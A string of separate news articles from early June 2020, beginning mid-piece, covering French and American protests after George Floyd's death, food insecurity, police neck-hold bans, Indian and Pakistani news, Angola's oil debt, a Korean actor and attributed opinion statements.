Other sections of the government, shocked by a mobilization they did not expect, are trying to stall the anger of workers and young people. Agriculture Minister Didier Guillaume hailed the rally as incredible, which he said he understood. Secretary of State for Youth Gabriel Attal said, The fact that there are 15,000 young people in this demonstration and that the overwhelming majority are nonviolent says something about the relations of sections of the youth with the police and their feeling of not being protected.

The Unsubmissive France (LFI) party of Jean-Luc Melenchon and the far-right National Rally (RN) of Marine Le Pen have engaged in a demagogic public exchange. Melenchon hailed the impressive demonstrations of calm and quiet determination ... a direct echo of the encouragement that came from the United States. Marine Le Pen denounced Melenchon, claiming that he applauded these scenes of civil war, lynchings, looting and that he wanted to import these racial wars into the national soil from the United States.

In reality, LFI is applauding the police and trying to disarm the demonstrators while RN is inciting the police. On the France Inter radio channel, LFI deputy Francois Ruffin insisted that his goal was to reconcile the population with the police despite the violence: My goal is to avoid a war, a pitched battle between the police and the population. The breach of trust [between them] is clear from the statistics. How do we restore it?

In fact, the financial aristocracys direct assault on American democracy is a warning that the entire capitalist system is in an advanced stage of breakdown.

French intelligence itself says it fears a widespread conflagration in France that would unite workers of different origins in a common struggle against the ruling elite and police repression. The financial magazine LOpinion, which reviewed a report by the domestic intelligence services on the Paris demonstration, reports, While minorities had been kept out of the Yellow Vests, domestic intelligence is concerned about a convergence of struggles between the social crisis and the racial crisis.

Faced with the danger of military dictatorship and police repression, the task is to build a movement within the working class, across national borders and across ethnic and gender lines, in an international struggle to overthrow capitalism and build socialism.
Stephen Maturen/Getty ImagesBy STEPHANIE EBBS, ABC NEWS

(MINNEAPOLIS, Minn.) -- In Yates High School, in Houston, Texas, where George Floyd attended, the vast majority of the students qualify for a free lunch and almost all of them are African American, according to state data published by the Texas Tribune.



In Minnesota, where Floyd moved as an adult, homeowners were allowed to write racial covenants into their property deeds until 1953. The result were deeply segregated neighborhoods until this day--some of which lack easy access to grocery stores.



Some 30% of Minnesotans are considered to have low access to food because they live so far from a grocery store, including more than 8% of black residents in the Twin Cities, according to a report from the Federal Reserve Bank of Minneapolis and the Amherst H. Wilder Institute.



In the area around the Cup Foods where Floyd was killed, USDA says a relatively high number of households lived more than half a mile from a grocery store in 2010 and dont have a car. The average price of a meal in the county is $3.61, according to data analyzed by Feeding America, but SNAP benefits provide $1.40 per person, per meal on average.



And the COVID-19 pandemic has put millions more Americans at risk of not being able to afford healthy food, as food prices have risen historic amounts in recent months.



As much of the nation debates the methods of police force on communities of color, many of the protestors say their complaints go well beyond how they are treated by law enforcement. Their objections are about the reality that growing up black means more likely to attend a substandard school, be denied a job and go hungry.



This economic inequality has preceded other periods of social unrest throughout U.S. history, including the Civil Rights movements, which are often galvanized by an event like a publicized incident of police brutality.



"I think on some level the protests that we're seeing right now are a statement of the cascading failures of the state to take care of a broad swath of its citizens," said Adriane Lentz-Smith, associate professor and associate chair in Duke's department of history.



When people are out on the streets and they're in pain, that pain is about being hungry and not knowing what's going to happen, she said of the connection between unemployment and food insecurity and the George Floyd protests.



Three weeks ago that pain is about being disproportionately affected by COVID and that pain is about all of the slow violence that we've seen or erupt into, to frequent manifestations of immediate death.



Protesters like Arianna Evans, a 23-year-old Air Force veteran in Washington, DC, have echoed that idea, saying that their demands around George Floyds death are also part of a need for black people to be treated equally in society.



We want institutional change. We want this whole system torn down. We want police to have better training. We want them to actually, actually follow their guidelines for force. We want them to actually do their jobs, to protect and serve us. We want to be economically equal. Thats all, that is all we want, Evans told ABC News Reporter Rachel Scott.



The coronavirus pandemic exacerbated inequalities and tensions, in part because Black and brown neighborhoods face more challenges sheltering in place due to lack of access to healthy food, health care, and public transportation.



Paul Ong, director of the Center for Neighborhood Knowledge at UCLA, said his group has found black and Latino neighborhoods in Los Angeles have more barriers to sheltering in place, including lack of access to food, and vehicles or public transportation to get to a grocery store. He said those kind of inequities combined with issues like unequal access to health care or more pre-existing health conditions that contribute to worse COVID-19 outcomes add to a pressure cooker of stressors.



Now there's this additional stress in these neighborhoods that don't have access nearby to good food at reasonable price that, you know, there is additional stress of how do you just manage that daily weekly requirement, he said.



So all these things, I realize all of us have to deal with this, you know, problems under COVID-19. But what's important is the huge disparities in terms of trying to manage or survive under COVID-19. And again, it gets played out along these neighborhood lines that have been defined by class, and by race.



Increasing food insecurity has especially drawn attention as unprecedented unemployment claims skyrocket up, leading hundreds of Americans lining up at overwhelmed food banks for help.



Roughly 37 million Americans are considered food insecure, according to USDA data from 2018, meaning they cant afford or access healthy food on a regular basis. Of that number Black Americans face higher rates of food insecurity than other groups and almost three times the rate of food insecurity as white individuals.



Feeding America, the largest network of food banks in the country, has estimated that in the worst case scenario an additional 17 million Americans could become food insecure as a result of the pandemic. The group says the impact of COVID-19 will likely wipe out years of progress fighting hunger since the recession.



Black Americans have felt more of that impact than whites, the COVID Impact Survey found that more Black Americans reported worrying more about whether they can afford to buy food for their family in May while insecurity decreased among their white counterparts, according to a report compiled by researchers at Northwestern University.



"It just lays bare all of the ways that the system has utterly failed people of color. Right. And it lays bare, it's like to have sort of COVID punctuated by the killings of Brianna Taylor the murder of George Floyd. There's this kind of shocking aggregated evidence of how little African American life is valued, Lentz-Smith said.



Michael J Wilson, director of Maryland Hunger Solutions, said his group has seen a drastic increase in calls to its hotline that helps people apply for SNAP benefits. The Baltimore Sun reported that nearly 70,000 Maryland residents applied for SNAP in April alone, though Wilsons group has also reported that many more people are eligible for benefits in the state but dont apply.



Wilson said the COVID-19 pandemic has revealed how unfair and systemically inequitable the system is but that it has also de-stigmatized programs like the Supplemental Nutrition Assistance Program and getting help from food banks, which have faced stereotypes like the "welfare mom" image that emerged in the 1980s' as part of conservative rhetoric against public assistance programs.



Some of the changes to the SNAP program because of the pandemic are the kinds of changes we should have been making a long time ago. Because theres a perception that now its middle class white people that need it. These are the changes we shouldve made for the program all along, there should not have been impediments in accessing it, he told ABC.



Ong said there are some policies in place that can address racism and inequality in economic areas like anti-discrimination laws in housing and education, as long as agencies are given enough resources to enforce them.



But he said hes also concerned about the impact of new inequalities as a result of the pandemic such as renters going into debt and facing eviction or the possibility of severe undercounts in the census in neighborhoods hardest hit by the virus.



Rooting out and addressing those underlying causes of systemic racism are at the core of addressing inequity, experts said.



Knowing that something is deeply rooted is not an excuse for letting it sit there, it's just unacceptable. We're tired and we're angry but we have to remember this isn't acceptable but we have to continue working to undo it, Lentz-Smith said.



And Lentz-Smith said that even the civil rights movement, while its remembered for its progress on voting rights, also focused on broader change to political and economic situations that exploiting black people in America.



Wilson said ultimately Floyds death is a reminder that while his work on expanding food access programs is important, theres a lot more to be done.



I think the challenge were facing more broadly in society and the criminal justice system is that its hard to see this man being strangled to death on camera and not recognize the racism that happens for a guy who was alleged to have passed a phony dollar bill, he told ABC.



A public killing is not the right punishment for that kind of allegation.



Copyright  2020, ABC Audio. All rights reserved.
The International Yoga Day will be celebrated on digital media platforms and there would be no mass gatherings this year in view of coronavirus outbreak, the government said on Friday.

This year's theme is 'Yoga at Home and Yoga with Family' and people will be able to join the celebrations virtually at 7 am on June 21.

The Indian Missions abroad are trying to reach out to the people through digital media as well as through the network of institutions which support yoga, officials said.

The ministry of AYUSH had planned to hold a grand event at Leh which, however, was cancelled due to the pandemic.

"This year, the event will highlight the utility of yoga for individuals, to develop immunity to combat the global pandemic and strengthen the community in managing some of the significant aspects of this crisis," Vinay Sahasrabuddhe, president, Indian Council for Cultural Relations said.

"In view of the highly infectious nature of the virus causing COVID-19, there shall be no mass gatherings and the International Yoga Day will be a digital event. Hence, this year the ministry is encouraging people to practice yoga at their homes with participation from the entire family," he said.

The ministry and ICCR, through the 'My Life -- My Yoga' video blogging competition which was launched by the prime minister on May 31, seek to raise awareness about yoga and inspire people to prepare for and become active participants in the observation of IDY 2020.

The contest will run in two legs -- the first one consisting of an international video blogging contest wherein the winners will be picked within a country. This will be followed by global prize winners who will be selected from different countries.

To enter into the contest, participants are required to upload a three-minute video of three yogic practices (kriya', asana', pranayama', bandha' or mudra'), including a short video message/description on how the said yogic practices influenced their lives.

They can do it in any language, Ayush Secretary Vaidya Rajesh Kotecha said.

The video blogging competition will provide us a huge amount of testimonial which will help us in spreading the word about yoga and its overall benefits not just health-wise, but also towards the approach to human life, Sahasrabuddhe, who is also the Rajya Sabha MP and national vice-president of BJP, said.

"It will also bring to the fore the multiple facets of yoga. Yoga is not just a physical activity. It also has to do with physical and emotional health, and people will share the benefits they have experienced," he said.

The videos may be uploaded on Facebook, Twitter or Instagram with the contest hashtag #MyLifeMyYogaINDIA and appropriate category hashtag.

Entries can be submitted by participants under three categories -- youth (male and female aged under 18), adults (male and female above 18 years) and yoga professionals (male and female), Kotecha said.

This makes it a total of six categories in all. For India contestants, prizes worth Rs 1 lakh, Rs 50,000 and Rs 25,000 will be given for first, second and third positions within each of the categories.

The Indian Missions abroad will give away prizes in each country.

At the global level, cash prizes worth $2,500, $1,500 and $1,000 along with a trophy and certificate will be given to those ranking first, second and third, respectively.

"The ministry of AYUSH is confident that this interest would convert into significant public health gains, as the positive impact of yoga in the management of many aspects of the COVID-19 pandemic situation is by now well accepted," Kotecha said.

The blogging contest which has started on various digital platforms such as MyGov.gov.in shall end on June 15, he said, adding the jury will collectively decide and announce the names of the winners.

Kotecha added that over 2 lakh people have downloaded 'Sanjivani' mobile application which was launched on May 7 to generate data on acceptance and usage of AYUSH advocacies and measures among the population and its impact in prevention of COVID-19.
Published on 2020/06/04 | Source

Hwang Jung-min is a welcome name.

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Hwang Jung-min returns to screens for the first time in a while with the film "Deliver Us From Evil" this coming July. The emergence of this actor with such a large presence is expected to be a great gift for the sluggish film industry.

It is the first time in two years that a Hwang Jung-min film has been released since "The Spy Gone North" (directed by Yoon Jong-bin) was released in 2018. Hwang Jung-min, who showed various works every year as an original prolific actor, did not show up on the field for quite a long time, raising some questions. Of course, the news of the next film was delivered in the meantime and even though he performed on stage without forgetting his affection for musicals and plays, it was true that the screen results were not easily confirmed, causing movie fans to feel disappointed.

After a long wait, Hwang Jung-min is coming back, energy fully recharged. Unlike in previous years, Hwang Jung-min's shoulders have become more responsible and burdened, but his confidence in his work is different. Chungmuro and the theater industry also have no doubt that "Deliver Us From Evil" will boost the summer market.

"Deliver Us From Evil" is a hard-boiled chase action film that depicts the desperate pursuit and struggle of In-nam (Hwang Jung-min), who gets caught up in a new case due to the last murder mission, and Ray (Lee Jung-jae), the ruthless pursuer. The reunion of Hwang Jung-min and Lee Jung-jae, who caused the "The New World" sensation, is drawing keen attention. In the story, Hwang Jung-min tries to make a new transformation as an assassin who fights desperately for the final mission that shook his life.

Hwang Jung-min has established himself as a trusted actor. Based on his stylish action, Hwang Jung-min is expected to create the response that 'Hwang Jung-min is Hwang Jung-min indeed'. To that end, Hwang reportedly continued to have in-depth discussions with the production team with high-intensity action practice every day.

"Deliver Us From Evil" is only the beginning. In "Hostage: Missing Celebrity" and "The Point Men", he shows another face. "Hostage: Missing Celebrity" depicts the story of an actor embroiled in the worst hostage incident in history, and Hwang plays himself as 'actor Hwang Jung-min'. "The Point Men" deals with the story of a diplomat and an NIS agent struggling to save a South Korean kidnapped in the Middle East, and Hwang Jung-min acts as a diplomat.

Each work has a noticeable meaning among numerous filmography pieces by actor Hwang Jung-min. In addition to the freshness of the character, "Hostage: Missing Celebrity" is the fourth piece in which he works with the production company Weyunegang including "The Unjust", "Veteran" and "The Battleship Island". "The Point Men" has become a medium to reunite with Yim Soon-rye, director of the film "Waikiki Brothers" (2001), who helped to imprint Hwang Jung-min's name in Chungmuro for the first time in 19 years. His harmony with co-star Hyun Bin is also a key point.

Hwang Jung-min, who is going hard with continued hard work, even announced his return to the TV screen. His appearance on jTBC's "Hush" is his first drama in 8 years. "Hush" is a sympathetic office drama full of the scent of people depicting the survival and conscience of office workers and the dilemma of their boundaries.

On top of that, Hwang is also putting his energy into his management. Ryoo Seung-bum, who lived abroad and was not focusing much on domestic works, signed a surprise exclusive contract with Sem Company and Hwang Jung-min, signaling his return. Hwang Jung-min also reported on his contract with new artists Im Sung-jae and Kim Do-hoon-I, who are building up their careers. Hwang Jung-min and Park Jung-min created a stronger management atmosphere, raising expectations for their future moves.

"Hwang Jung-min is one of the most trusted actors by name", Chungmuro officials said. "Now the evaluation of the actor, or his acting, is meaningless and just focuses on 'Which of the countless scenarios did he choose this time?' Just the fact that Hwang Jung-min made his choice is bound to raise questions. This is why we welcome his activities with open arms", they said.
A 30-year-old waiter from a hotel at Mira Road (West), was arrested from Pune on Friday evening for murdering two of his colleagues on June 1. Decomposed bodies of the waiters with stab injuries were found inside the water tank of the hotel in the early hours of Friday.

The deceased, 48-year-old Haresh Shetty and Naresh Pandit, 52, had stab wounds and head injuries. The suspect, Kallu Jadhav, who also worked at the same hotel has been arrested from Pune. We will interrogate him to find the motive behind the murder once he reaches Mira Road station, said Shantaram Walvi, deputy superintendent of police (DSP), Mira Road station.

According to Gangadhar Shetty, owner of the hotel, he received a call from the Hareshs phone informing him about the murder on Thursday night.

Due to the lockdown, the establishment was shut but the staff stayed inside the rooms of the hotel, said Shetty. The police traced the number and the call was made from some location near Nallasopara. The murder was committed on June 1 and the bodies were dumped inside the 10,000 litre tank, used to store water for use of the hotel and the municipality, said police.

The bodies were fished out by the Mira Bhayander civic fire brigade personnel around 1am on Friday. More than four persons could be involved in the crime. Police is scanning the CCTV footage of the hotel.
In a fresh jolt to the Congress ahead of the Rajya Sabha polls in Gujarat, its MLA Brijesh Merja on Friday resigned from the Assembly membership, becoming the third legislator of the opposition party to quit this week.

Ahmedabad: In a fresh jolt to the Congress ahead of the Rajya Sabha polls in Gujarat, its MLA Brijesh Merja on Friday resigned from the Assembly membership, becoming the third legislator of the opposition party to quit this week.

The Assembly secretariat confirmed that Speaker Rajendra Trivedi has accepted the resignation of Merja, who was elected from the Morbi seat.

Merja, whose resignation comes ahead of the Rajya Sabha polls for four seats in Gujarat on 19 June, is the third Congress MLA to quit in the last three days.

Before quitting as a legislator, Merja resigned from the primary membership of the Congress and shared his resignation letter with the media.

In his resignation letter to party president Sonia Gandhi, Merja said though he had joined the Congress to serve people, he was "unable to do so while being in the party".

Merja is the third Congress MLA to have resigned since Wednesday and the eight since March.

On 3 June, Congress MLAs Akshay Patel and Jitu Chaudhary had handed over their resignations to Trivedi.

In March, when Rajya Sabha polls were announced, five Congress MLAs had resigned.

With every drop in the MLA count, the Congress's chances of winning the second Rajya Sabha seat are fast diminishing.

The elections for the four seats were supposed to be held on 26 March.

However, they were postponed for an indefinite period in the wake of the coronavirus pandemic and subsequent imposition of nationwide lockdown.

They are now scheduled to he held on 19 June.

While the Congress has fielded its senior leaders Shaktisinh Gohil and Bharatsinh Solanki, the ruling BJP has nominated Abhay Bhardwaj, Ramilaben Bara and Narhari Amin as its candidates for the polls, in which MLAs will vote.

In the 182-member Assembly, the BJP has 103 MLAs, while the Congress's count now stands at 65.

While the Bharatiya Tribal Party has two MLAs, the Nationalist Congress Party has one legislator and there is one Independent legislator, Jignesh Mevani.

Ten Assembly seats are vacant: two due to court cases and the rest because of resignations.
Angola is reducing oil shipments to China with which it pays part of its debt to its biggest creditor as the African OPEC member looks for debt relief from its international partners, Reuters reported on Friday, quoting sources with knowledge of the plans.

The worlds top oil importer, China, is Angolas primary creditor and the African country is repaying part of its debt to China with oil cargoes to its major state-owned oil firms.

However, the oil price crash and the COVID-19 pandemic has severely constrained Angolas income, and the country now seeks to cut cargoes to China for which it doesnt receive hard currency.

Angola is one of the worst hit oil producers in the oil price crash, because it lacks large sovereign wealth buffers as some Middle Eastern oil exporters do. In addition, the oil sector is crucial to Angolas economy. Oil production and supporting activities account for half of the nations gross domestic product (GDP) and around 89 percent of its exports, OPEC data shows.

According to Reuters sources, Chinas Sinochem will get five oil cargoes from Angola next month, compared to the usual seven or eight cargoes, while Unipec, the trading arm of Sinopec, will not get any Angolan oil in July, compared to the typical two-three cargoes a month for repaying Angolas debt.

Earlier this week, Angolas finance ministry said that it was in an advanced stage of talks with some of the importers of its oil to reschedule financing facilities and better reflect the current market environment and OPECs production quotas. Angola said it hoped to finalize the talks in the very near future and guarantee mutually favorable conditions for all parties involved.

Separately, Angola has asked the G20 group for negotiations for suspension of servicing its bilateral debt under the G20 Debt Service Suspension Initiative (DSSI), which could ease the pressure on Angolas finances.

By Tsvetana Paraskova for Oilprice.com

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Catholic League

June 5, 2020



NEW YORK, June 5, 2020 /Christian Newswire/ -- Catholic League president Bill Donohue comments on what is allowed and not allowed in New York City during coronavirus:

"Anyone who tries to get in the water, they'll be taken right out of the water." That's what New York City Mayor Bill de Blasio (pictured) recently said about his coronavirus policy. Who will take them out of the ocean? The cops. Can there be beach parties? Not unless everyone is at least six feet away from each other. If they are not, the cops will get them as well.

What if the beach-goers swell to the thousands and take to the streets, standing arm-in-arm, to protest racial injustice? Is that okay? Yes. Shouldn't the cops enforce social distancing? No, not at all. What if the protesters get violent? No problem, the cops will go easy.

What if, instead of protesting, a very small group of people want to go to a church, synagogue, mosque, or temple? They don't want to protest, just pray. They pledge to stay six feet apart. They promise not to engage in violence. Can they do so? No.

This is the mentality of Bill de Blasio, formerly known as Warren de Blasio-Wilhelm, and before that Warren Wilhelm, Jr. His inconsistent identity is not typical of his policies. He is very consistent there.

When a reporter for a Jewish newspaper asked him how he can justify throngs taking to the streets in a mass assembly, but cannot approve of a small church service, he got indignant. "Four hundred years of American racism, I'm sorry, that is not the same question as the understandably aggrieved store owner or the devout religious person who wants to go back to services."

In other words, de Blasio decided to "privilege" protesters, many of whom suffer the pangs of "white privilege" (it is not the sons and daughters of the working class who are trashing the city), all because he thinks that protesting racism justifies jettisoning his shutdown.

What if the object of the protest was his racism? He has repeatedly promoted policies that discriminate against Asian Americans by denying them their earned seats in New York's elite public schools. He likes racial quotas. His contempt for these "people of color" surely merits a protest. Would he allow it?

Would he allow black and Hispanic parents to protest his racism? Many minorities want school choice, and they overwhelmingly favor charter schools. Private, parochial, and charter public schools are doing more to promote upward social mobility than the public schools ever have. Why does he always seek to deny black and brown New Yorkers the same avenue to success that white rich people have? Would he give the green light to a protest against his racially discriminatory policies?

As for religious services, we know where his heart is. This is a man who raised money for the communists in Nicaragua when he was young, and traveled, illegally, to Castro's Cuba for his honeymoon, lying to his own children about where it took place (he told them it was in Canada). This is not the biography of a man of faith.

De Blasio boycotted the St. Patrick's Day Parade for years because he did not like the house rules for marching, and refused to criticize the owner of the Empire State Building for refusing to light the towers in blue and white in honor of Mother Teresa's centenary. More recently, he lashed out at Rev. Franklin Grahamwho brought medical staff to Central Park to attend to coronavirus patientsbecause the minister thinks marriage should be between a man and a woman.

This is the profile of an extremist. He throws the health of New Yorkers overboard to allow for a jammed protest he likes, and then invokes his health edict to ban people of faith from attending their house of worship. No wonder he is increasingly viewed with contempt.
After the death of George Floyd, a Minneapolis man killed in police custody, more than a dozen police agencies in California said this week that they are banning the use of carotid neck restraints. (Luis Sinco / Los Angeles Times)

Law enforcement agencies and elected officials across the country moved quickly this week to ban officers from using a controversial neck hold, responding to nationwide outrage over the killing of George Floyd by a Minneapolis police officer who knelt on his neck for more than eight minutes.

Gov. Gavin Newsom and members of the California Legislatures black and Latino caucuses called for a statewide ban on carotid holds, which involve putting pressure on the sides of a persons neck to restrict blood flow.

The move followed widespread protests that prompted more than a dozen law enforcement agencies in California  including the San Diego police and sheriffs departments  to announce in recent days that they would stop officers from using carotid neck restraints.

We all witnessed this execution, said Assemblyman Mike Gipson (D-Carson), the lead author of a bill introduced Friday that would ban the use of the holds throughout California. This was far beyond the existing law that authorizes a peace officer to use reasonable force to effect the arrest, to prevent escape or to overcome resistance.

The carotid restraint technique taught to police involves an officer using an arm and is markedly different from the video-recorded actions of the Minneapolis police officer charged with murder in Floyds death. But the image of the 46-year-old black man losing consciousness with an officers knee pressed into his neck has generated renewed criticism of police tactics such as the carotid hold.

The city of Minneapolis agreed Friday to ban the use of all chokeholds, including neck restraints, as part of a settlement with the Minnesota Department of Human Rights.

The carotid restraint, also known as a sleeper hold or a blood choke, has a troubled history.

The Los Angeles Police Commission severely restricted its use in 1982 after the deaths of a dozen black men and then-LAPD Chief Daryl Gates notorious comment that African Americans were dying because the veins or arteries of blacks do not open up as fast as they do in normal people.

Story continues

Other law enforcement agencies, however, continued to allow the holds with fewer restrictions.

A Times analysis of California Department of Justice data found that law enforcement around the state reported officers seriously injuring 103 people while using carotid neck restraints from 2016 through 2018, the most recent years for which data are available.

Two people were killed and 91 were left unconscious. Black people, who compose about 6.5% of California's population, made up 23% of people injured by neck restraints. White people accounted for 33% of the incidents and Latinos 38%.

The analysis counted incidents in which carotid holds were listed in the data as the most severe type of force used.

The San Diego County Sheriff's Department led the state with 21 carotid restraints that resulted in serious injury, according to The Times' data analysis.

"In light of community concerns and after consultation with many elected officials throughout the country, I am stopping the use of the carotid restraint by my deputies effective immediately," San Diego County Sheriff Bill Gore said in a statement on Wednesday.

San Diego's city police had resisted calls to ban carotid holds as recently as last year, saying the technique was used safely hundreds of times and can help end potentially dangerous encounters quickly before they escalate.

But Police Chief David Nisleit said this week that he would stop the use of the neck holds immediately.

Police departments in Santa Cruz, Watsonville, Oceanside, Coronado and La Mesa have announced similar bans. In Sacramento, Mayor Darrell Steinberg has called for a review on whether to ban the controversial restraint.

Shane Harris, president of the advocacy group the Peoples Alliance for Justice, said local departments made the "morally right" decision to halt use of the "dangerous" carotid hold.

"We can no longer use this kind of restraint to cut off the artery at any length anymore," Harris said. "But I think that we have a lot more work to do on reforming sheriff and police departments across the state of California. I think that we're at a turning point in America, where we're going to go one way toward progress or go the other way toward regress."

Los Angeles County Supervisors Janice Hahn and Mark Ridley-Thomas have introduced a motion urging the Sheriff's Department and 46 police agencies in the county to reform their use-of-force policies, including by restricting or prohibiting the use of carotid holds, chokeholds and strangleholds. The motion will be discussed Tuesday at the Board of Supervisors' meeting.

When employing a carotid hold, an officer puts pressure on the carotid arteries to slow or block blood flow. If applied correctly, the person can fall unconscious. But it can also lead to injury or death.

In 2016, a Bakersfield police officer used a carotid hold to subdue 63-year-old Jose Cesar Vilorio, who later died from blunt-force trauma and a neck compression due to the hold, according to a coroner's report.

Vilorio had reportedly threatened his girlfriend with a machete that day. Officer Timothy McIrvin responded to Vilorio's apartment, saw the man was armed and applied a carotid hold on him for 10 to 15 seconds until he lost consciousness, according to departmental review of the incident. Another officer soon realized Vilorio was not breathing and performed CPR until paramedics arrived. Vilorio died at a hospital the next day.

McIrvin's use of the carotid hold was deemed within department policy, according to a report from the agency's Critical Incident Review Board.

Bakersfield Police Sgt. Nathan McCauley said this week that the department is reviewing its policy on the carotid hold and its effectiveness. The department's website shows officers employed the hold 22 times from 2016 through 2018.

Some law enforcement officers have long argued the dangers of using the carotid hold are overblown and defend the technique as safe if used properly. They say that banning it altogether could result in officers resorting to more dangerous methods to subdue a resisting suspect, such as using batons or firearms.

According to The Times' analysis of statewide data, officers were assaulted in 74% of the carotid incidents reported to the state. In 94% of all incidents, the person restrained was unarmed.

Ed Obayashi, a Plumas County sheriffs deputy and use-of-force advisor to the California Assn. of Police Training Officers, said police departments for years have shifted away from using the carotid technique, which is different from a chokehold in which pressure is applied to the windpipe.

"The whole point is to render someone unconscious and not cut off their airway, but it could potentially result in that," Obayashi said. "You still have your arm around someone's neck."

The overall number of carotid restraints resulting in serious injury is low considering the millions of police interactions that occur each year in California, he said. Officers are trained how to use other options, such as Tasers or pepper spray.

Obayashi said many deputies patrol rural areas without a partner and need to be able to use a carotid neck restraint if they feel their lives are in danger.

"I know cases where deputies have had to fight for their lives and they were by themselves. We wont take away that option from them given the solitary nature of policing in these counties," he said.

In the Minneapolis case, Officer Derek Chauvin used his knee to apply pressure to Floyd's neck for more than eight minutes. As Floyd lay on the ground, he pleaded, I cant breathe." His words echoed the last pleas of Eric Garner, an unarmed black man who was killed in 2014 when a New York police officer placed him in a chokehold.

Chauvin has been charged with second-degree murder, and three other Minneapolis officers have been charged with lesser offenses.

Robert Weisberg, a professor at Stanford Law School, said there is now "unquestionably a serious public perception problem" regarding the use of neck holds, but he stressed that the technique used by Minneapolis police is not in line with what officers in California are trained to do.

"It was a damn knee on the guy's neck," Weisberg said. "It was really just a sadistic way of keeping him on the ground."

The state justice department requires agencies to report only cases in which carotid holds resulted in serious injury or death. In Los Angeles County, the Long Beach Police Department led all agencies with 12 reported incidents during the three-year period, according to the state data. Riverside police reported 17 incidents and San Bernardino police logged six.

The L.A. County Sheriff's Department reported two incidents that resulted in serious injury and the Los Angeles Police Department one incident, the data show.

Sheriffs Lt. John Satterfield said his departments policy classifies carotid holds as a high-risk technique. Since 2010, deputies have used the hold 193 times with no deaths, he said.

Neck holds have long been banned or restricted by the LAPD. In 1982, Gates, the chief, banned the bar-arm chokehold, in which an officer uses his forearm to apply pressure directly against the windpipe, after a 24-year-old black motorist sued in an effort to forbid the move.

Weeks later, the city's Police Commission voted to limit the use of the carotid hold after the death of James Mincey Jr., a 20-year-old black man who was put in a carotid hold after leading officers on a high-speed car chase. His death was the 16th over seven years that was attributed to the carotid restraint, The Times reported in 1993 when the City Council agreed to pay a $450,000 settlement to Minceys father.

The LAPD still allows officers to use a carotid restraint, but restricts it to situations where deadly force is justified. The technique is seldom used, LAPD records show. It has been used a total of seven times since 2015, according to the department's 2019 use-of-force report.

Times staff writer Patrick McGreevy and Teri Figueroa of the San Diego Union-Tribune contributed to this report.
Lahore:

A former LeT militant, arrested last month for his involvement in the 2008 Mumbai terror attack, has been absolved by Pakistan's Federal Investigation Agency which says "no allegation has been proved against him." Sufayan Zafar was accused of financing Rs 14,800 for Mumbai attack and providing Rs 3.98 million to co-accused Shahid Jameel Riaz prior to the attack.

"The FIA has found no evidence against Zafar during investigation," an official of FIA said. He said the allegation that he had financed one of the arrested suspects in Mumbai case could not be proved after thorough investigation. The official said: "Zafar's role in providing finances to a Mumbai attacks suspect(s) has not been established."

He said Zafar would not be charge-sheeted in the court for alleged allegations. "FIA will submit a challan in the trial court in this regard on next hearing on September 22 but will not frame charges against him," the official said.

Zafar was hiding after being declared proclaimed offender in the Mumbai case. He was arrested early last month from his hideout in Kyber-Pakhtaunkhawa province. A resident of Gujrawala district of Punjab, some 80km from Lahore, Zafar is among 21 other (absconding) suspects wanted in this high-profile case.

Six other suspects - Abdul Wajid, Mazhar Iqbal, Hammad Amin Sadiq, Shahid Jameel Riaz, Jamil Ahmed and Younus Anjum have been lodged in the Adiyala Jail Rrawalpindi since 2009 for abetment to murder, attempted murder, planning and executing the Mumbai attacks.

Prime suspect LeT operations commander Zakiur Rehman Lakhvi, believed to be the mastermind of the Mumbai attacks, has been in hiding after getting bail over a year ago. Some 166 people were killed in the attack carried out by 10 LeT men. Nine terrorists were killed while lone survivor Ajmal Kasab was captured and later executed.

For all the Latest India News, Download News Nation Android and iOS Mobile Apps.
Gayle King has opened up about fearing for her son Will Bumpus Jr.'s safety as a black man in America, saying has asked him to not take his dog for long walks in his neighborhood because 'everything is so volatile.'

The CBS This Morning anchor appeared on The Talk on Wednesday to discuss the nationwide protests over the murder of George Floyd, an unarmed black man who died at the hands of a Minneapolis police officer.

'My son is 33 years old and I'm worried about him,' King, 65, told the show's hosts, explaining that Will lives in the Santa Monica area in Los Angeles County where there have been a number of protests.

Scroll down for video

Sharing her thoughts: Gayle King, 65, appeared on The Talk on Wednesday to talk about the nationwide protests over the murder of George Floyd at the hands of a police officer

Opening up: The CBS This Morning host said she is 'worried' about her son Will Bumpus Jr.'s safety as a black man in America, saying 'everything is so volatile'

'He could hear the police choppers and he could hear the sounds of the city,' she said. 'Santa Monica, as you know, is a very affluent town. He lives very close to that...But I'm worried about him walking his frickin' dog! He's 33!'

King recalled asking him: 'Will, please, don't walk [your dog] Scott. Please, don't take him for long walks.' She also advised him not to wear a black mask when he steps out of his home.

'I worry for him being a black man, period,' she said. 'And now everybody is so amped up about everything. I do, I worry a lot about his safety...Welcome to being black in America. This is not new.'

King, who also has a 32-year-old daughter, Kirby, stressed that 'this is about humanity,' saying she has recently had many white people reach out to her to ask how she is doing.

Neighborhood: Will, pictured with his mom as a baby (left) and as a young boy (right), lives in the Santa Monica area in Los Angeles County where there has been a number of protests

Worried mom: King said she has asked Will to avoid taking long walks with his dog, and she also advised him not to wear a black mask when he leaves his home

Fears: 'I'm worried about him walking his frickin' dog! He's 33!' she said, later adding: 'Welcome to being black in America.' Will is pictured with his dog last year

'The current answer is nobody should be doing good right now. Nobody should,' she noted. 'But I think white people are viewing this like, "Holy cow, this happens this way? This happens in this country?" Yeah, it does.'

Floyd, a 46-year-old unarmed black man, died in police custody in Minneapolis, on May 25, after being arrested for allegedly using a counterfeit $20 bill at a deli.

White officer Derek Chauvin, who has been charged with murder, knelt on his neck for nearly nine minutes while he was in custody. Floyd became unresponsive and was later pronounced dead at the hospital.

'The police officer had his knee on the neck for 8 minutes and 46 seconds, guys, and for two minutes and 53 seconds he wasn't even moving  and he still kept his knee on his neck,' King said. 'The details are so horrific and shocking.'

Citizens in cities across the country have been protesting the murder of Floyd, and so many other black Americans at the hands of the police.

Family: King also has a 32-year-old daughter, Kirby. she shares both children with her ex-husband William Bumpus, whom she was married to from 1982 until 1993

Struggling: King said that 'nobody should be doing good right now,' noting that many white people have finally realized that police brutality happens all of the time in America

Looking to the future: 'If something doesn't change after this, shame on us,' she told the hosts

'Maybe, just maybe, this will be the change. Maybe this will be the case. Maybe this will be the one,' she said. 'If something doesn't change after this, shame on us.'

King said covering stories about racial injustice makes her emotional as she recalled Floyd's last words before his death.

'That's what's making me emotional  that his last words were "mom, mama,"' she said. "This is what's getting me. It goes to the primal instinct that we all have. Because your mother is your ultimate protector. And his mother died two years ago. But we didn't even know that at the time.'

The first of a series of memorials for Floyd was held in Minneapolis on Thursday, with celebrities, musicians, and politicians gathered in front of his golden casket at a sanctuary at North Central University.

